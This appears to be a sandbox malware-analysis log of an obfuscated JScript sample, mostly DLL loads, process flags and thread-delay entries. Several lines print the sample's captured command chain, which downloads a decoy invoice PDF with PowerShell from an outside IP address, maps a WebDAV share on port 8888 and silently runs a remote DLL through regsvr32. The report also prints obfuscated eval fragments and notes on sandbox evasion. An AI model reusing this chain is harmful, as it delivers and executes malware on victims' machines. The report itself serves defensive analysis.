Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3932.js.csv");ITextStream.WriteLine(" entry:2530 f:tfzxgqavh");ITextStream.WriteLine(" exec:2 f:tfzxgqavh");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22vrhmhzuil%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20arwsdebl%3Dthis%5Btukfp%2Bwhujxre%2Bimxbhvy%2Bbdmnaureq%2Bjcpypm%2Bnygfam%2Bsvplpal%2Borfdrgh%5D(this%5Bsplkec%2Bnnflb%2Bkanxjxzxz%2Bi");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4222			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5076			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4128	Thread sleep count: 4222 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4128	Thread sleep count: 5076 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4452	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3836	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2940	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5056	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4648	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1984	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1509362059.000001D6E6968000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1509566156.000001D6E69D2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1496235772.000001D6E69D2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1508732959.000001D6E69D2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2735090751.000002120AE2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2736333992.000002121045A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
